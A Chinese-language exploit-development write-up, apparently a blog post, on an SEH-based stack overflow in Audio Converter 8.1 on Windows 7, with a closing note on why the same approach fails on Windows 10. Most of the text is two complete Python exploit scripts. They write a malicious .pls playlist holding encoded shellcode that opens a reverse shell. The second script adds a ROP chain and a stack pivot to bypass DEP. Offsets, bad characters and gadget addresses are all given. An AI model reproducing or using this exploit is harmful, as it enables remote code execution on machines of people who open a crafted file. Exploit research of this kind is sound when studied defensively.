本次讨论的Audio Converter 8.1
在Win7 SP1 6.1.7601
和Win10 10.0.19044
两者之间有一些不同,在Win7
下漏洞能够利用成功,在Win10
下会出现SEH Handler
无法捕捉到异常,导致漏洞执行失败。
先来看Win7
下的漏洞利用:之前遇到的SEH
栈溢出漏洞,覆盖的都是SEH
链的第一个NSEH
和SEH Handler
,而这里覆盖的是第二个NSEH
和SEH Handler
。简单的部分就不说了,Win7
下Offset
为4432
(覆盖NSEH
的值),坏字符为\x00\x0a
。
看一下溢出的时候,其实是SEH
链第二个节点被覆盖:
但是,这不影响漏洞利用的方式,还是P/P/R
结合JMP
,如果当前异常处理函数无法处理异常,则会转到下一个异常处理函数处理,所以覆盖的异常处理函数是可以得到执行的,进而执行写入的shellcode
。考虑要bypass ASLR
,所以需要找到未开启ASLR
的DLL
:
win7
下没有开启全局DEP
时,就是简单的SEH
栈溢出,最终的利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import struct
filename="exploit.pls"
shellcode = b"" shellcode += b"\xdd\xc6\xd9\x74\x24\xf4\x58\x33\xc9\xbe\xab" shellcode += b"\x77\x29\x71\xb1\x52\x31\x70\x17\x03\x70\x17" shellcode += b"\x83\x43\x8b\xcb\x84\x6f\x9c\x8e\x67\x8f\x5d" shellcode += b"\xef\xee\x6a\x6c\x2f\x94\xff\xdf\x9f\xde\xad" shellcode += b"\xd3\x54\xb2\x45\x67\x18\x1b\x6a\xc0\x97\x7d" shellcode += b"\x45\xd1\x84\xbe\xc4\x51\xd7\x92\x26\x6b\x18" shellcode += b"\xe7\x27\xac\x45\x0a\x75\x65\x01\xb9\x69\x02" shellcode += b"\x5f\x02\x02\x58\x71\x02\xf7\x29\x70\x23\xa6" shellcode += b"\x22\x2b\xe3\x49\xe6\x47\xaa\x51\xeb\x62\x64" shellcode += b"\xea\xdf\x19\x77\x3a\x2e\xe1\xd4\x03\x9e\x10" shellcode += b"\x24\x44\x19\xcb\x53\xbc\x59\x76\x64\x7b\x23" shellcode += b"\xac\xe1\x9f\x83\x27\x51\x7b\x35\xeb\x04\x08" shellcode += b"\x39\x40\x42\x56\x5e\x57\x87\xed\x5a\xdc\x26" shellcode += b"\x21\xeb\xa6\x0c\xe5\xb7\x7d\x2c\xbc\x1d\xd3" shellcode += b"\x51\xde\xfd\x8c\xf7\x95\x10\xd8\x85\xf4\x7c" shellcode += b"\x2d\xa4\x06\x7d\x39\xbf\x75\x4f\xe6\x6b\x11" shellcode += b"\xe3\x6f\xb2\xe6\x04\x5a\x02\x78\xfb\x65\x73" shellcode += b"\x51\x38\x31\x23\xc9\xe9\x3a\xa8\x09\x15\xef" shellcode += b"\x7f\x59\xb9\x40\xc0\x09\x79\x31\xa8\x43\x76" shellcode += b"\x6e\xc8\x6c\x5c\x07\x63\x97\x37\xe8\xdc\xcc" shellcode += b"\x4e\x80\x1e\xf2\x41\x0d\x96\x14\x0b\xbd\xfe" shellcode += b"\x8f\xa4\x24\x5b\x5b\x54\xa8\x71\x26\x56\x22" shellcode += b"\x76\xd7\x19\xc3\xf3\xcb\xce\x23\x4e\xb1\x59" shellcode += b"\x3b\x64\xdd\x06\xae\xe3\x1d\x40\xd3\xbb\x4a" shellcode += b"\x05\x25\xb2\x1e\xbb\x1c\x6c\x3c\x46\xf8\x57" shellcode += b"\x84\x9d\x39\x59\x05\x53\x05\x7d\x15\xad\x86" shellcode += b"\x39\x41\x61\xd1\x97\x3f\xc7\x8b\x59\xe9\x91" shellcode += b"\x60\x30\x7d\x67\x4b\x83\xfb\x68\x86\x75\xe3" shellcode += b"\xd9\x7f\xc0\x1c\xd5\x17\xc4\x65\x0b\x88\x2b" shellcode += b"\xbc\x8f\xa8\xc9\x14\xfa\x40\x54\xfd\x47\x0d" shellcode += b"\x67\x28\x8b\x28\xe4\xd8\x74\xcf\xf4\xa9\x71" shellcode += b"\x8b\xb2\x42\x08\x84\x56\x64\xbf\xa5\x72"
payload=b"A"*4432 payload+=b"\xeb\x06\x90\x90" payload += struct.pack("<L",0x1002b51c) payload+=b"\x90"*16 payload+=shellcode payload+=b"C"*(45544-len(shellcode))
with open("exploit.pls", "wb") as fp: fp.write(payload)
|
成功反弹shell
:
现在开启全局DEP
,来看一下,基本的步骤就不说了,截图几张:
利用mona
,在每个SEH Handler
下断点,这个方法还挺方便的:
查找ROP Chain
在内存的位置:
执行到触发SEH
之后,查看此刻ESP
,得到ROP Chain
与ROP
之间的距离:
利用mona
寻找跳转大于等于2412
的ROP Gadget
:
在生成的stackpivot.txt
文件中挑选符合要求的ROP Gadget
:
这里选择0x100646bb
作为覆盖seh
的地址。注意跳转了3652
个字节,需要在ROP Chain
前面填充一些\x90
,不然会跳转到ROP Chain
内部,导致无法执行。经过多次尝试,需要添加1348
个\x90
才能精确到达ROP Chain
的最开始部分。
最终的利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| import struct
total_size = 200000 filename="exploit_seh.pls"
shellcode = b"" shellcode += b"\xdd\xc6\xd9\x74\x24\xf4\x58\x33\xc9\xbe\xab" shellcode += b"\x77\x29\x71\xb1\x52\x31\x70\x17\x03\x70\x17" shellcode += b"\x83\x43\x8b\xcb\x84\x6f\x9c\x8e\x67\x8f\x5d" shellcode += b"\xef\xee\x6a\x6c\x2f\x94\xff\xdf\x9f\xde\xad" shellcode += b"\xd3\x54\xb2\x45\x67\x18\x1b\x6a\xc0\x97\x7d" shellcode += b"\x45\xd1\x84\xbe\xc4\x51\xd7\x92\x26\x6b\x18" shellcode += b"\xe7\x27\xac\x45\x0a\x75\x65\x01\xb9\x69\x02" shellcode += b"\x5f\x02\x02\x58\x71\x02\xf7\x29\x70\x23\xa6" shellcode += b"\x22\x2b\xe3\x49\xe6\x47\xaa\x51\xeb\x62\x64" shellcode += b"\xea\xdf\x19\x77\x3a\x2e\xe1\xd4\x03\x9e\x10" shellcode += b"\x24\x44\x19\xcb\x53\xbc\x59\x76\x64\x7b\x23" shellcode += b"\xac\xe1\x9f\x83\x27\x51\x7b\x35\xeb\x04\x08" shellcode += b"\x39\x40\x42\x56\x5e\x57\x87\xed\x5a\xdc\x26" shellcode += b"\x21\xeb\xa6\x0c\xe5\xb7\x7d\x2c\xbc\x1d\xd3" shellcode += b"\x51\xde\xfd\x8c\xf7\x95\x10\xd8\x85\xf4\x7c" shellcode += b"\x2d\xa4\x06\x7d\x39\xbf\x75\x4f\xe6\x6b\x11" shellcode += b"\xe3\x6f\xb2\xe6\x04\x5a\x02\x78\xfb\x65\x73" shellcode += b"\x51\x38\x31\x23\xc9\xe9\x3a\xa8\x09\x15\xef" shellcode += b"\x7f\x59\xb9\x40\xc0\x09\x79\x31\xa8\x43\x76" shellcode += b"\x6e\xc8\x6c\x5c\x07\x63\x97\x37\xe8\xdc\xcc" shellcode += b"\x4e\x80\x1e\xf2\x41\x0d\x96\x14\x0b\xbd\xfe" shellcode += b"\x8f\xa4\x24\x5b\x5b\x54\xa8\x71\x26\x56\x22" shellcode += b"\x76\xd7\x19\xc3\xf3\xcb\xce\x23\x4e\xb1\x59" shellcode += b"\x3b\x64\xdd\x06\xae\xe3\x1d\x40\xd3\xbb\x4a" shellcode += b"\x05\x25\xb2\x1e\xbb\x1c\x6c\x3c\x46\xf8\x57" shellcode += b"\x84\x9d\x39\x59\x05\x53\x05\x7d\x15\xad\x86" shellcode += b"\x39\x41\x61\xd1\x97\x3f\xc7\x8b\x59\xe9\x91" shellcode += b"\x60\x30\x7d\x67\x4b\x83\xfb\x68\x86\x75\xe3" shellcode += b"\xd9\x7f\xc0\x1c\xd5\x17\xc4\x65\x0b\x88\x2b" shellcode += b"\xbc\x8f\xa8\xc9\x14\xfa\x40\x54\xfd\x47\x0d" shellcode += b"\x67\x28\x8b\x28\xe4\xd8\x74\xcf\xf4\xa9\x71" shellcode += b"\x8b\xb2\x42\x08\x84\x56\x64\xbf\xa5\x72"
def create_rop_chain():
rop_gadgets = [ 0x10070b5f, 0x10070b5f, 0x1006c128, 0x00000001, 0x10082d43, 0x00001000, 0x10073e81, 0x00000040, 0x100147d2, 0x1003f2b9, 0x10001a43, 0x1006685a, 0x1008264a, 0x100952c4, 0x1002ef14, 0x1002debd, ] return b''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
nops1 = b"\x90"*32 junk1 = b"A"*32 nops2 = b"\x90"*(1240+108) payload = nops2+rop_chain+nops1+shellcode junk2 = b"A"*(4436-len(payload)-32)
seh = struct.pack("<L",0x100646bb) junk3 = b"C"*(45544-4432-4)
with open(filename, "wb") as fp: fp.write(junk1+payload+junk2+seh+junk3)
|
成功反弹shell
:
来看一下win10
,不开启DEP
。溢出时,可以看到SEH
链的第二条被我们覆盖了:
在异常处理的时候,出现如下问题:(会一直停留在第一个异常处理函数里面,无法跳出)
谷歌了一下,说是异常没有捕获到。这里就不进一步讨论了。
2022年5月14日更新:Win10利用失败的原因是,我想找一个SafeSEH
关闭,且未开启ASLR
的DLL
,这样就可以保证利用脚本是稳定的,不会因为系统重启而无法使用。这里有且仅有audconv.dll
,可以看上面我使用的地址,是以00
开始,这样就导致内存里指令会被截断,而开始部分的Win7
,audconv.dll
地址空间不是以00
开始,所以可以利用成功。